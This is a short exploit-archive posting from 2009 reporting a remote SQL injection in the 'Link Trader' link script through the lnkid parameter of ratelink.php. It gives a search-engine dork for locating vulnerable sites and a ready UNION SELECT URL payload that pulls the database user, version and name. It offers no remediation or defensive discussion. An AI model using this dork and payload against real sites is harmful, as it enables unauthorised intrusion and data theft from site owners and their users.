[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Link Trader (lnkid) Remote SQL Injection Vulnerability
# Published : 2009-12-30
# Author : Hussin X
# Previous Title : Classifieds Script (type) Remote SQL Injection Vulnerability
# Next Title : list Web (addlink.php id) Remote SQL Injection Vulnerability
|___________________________________________________|
|
| Link Trader (lnkid) Remote SQL Injection Vulnerability
|
|___________________________________________________
|---------------------Hussin X----------------------|
|
| Author: Hussin X
|
| Home : www.iq-ty.com<http://www.iq-ty.com>
|
| email: darkangel_g85[at]Yahoo[DoT]com
|
|
|___________________________________________________
| |
|
| script : http://www.ezonescripts.com/scripts/sls/linktrader.php
|
| DorK : inurl:ratelink.php?lnkid=
|___________________________________________________|
Exploit:
www.[target].com/Script/ratelink.php?lnkid=-1+UNION+SELECT+1,2,3,4,concat_ws(0x3a,user(),version(),database()),6,7,8,9,10,11,12+from+o_categories/*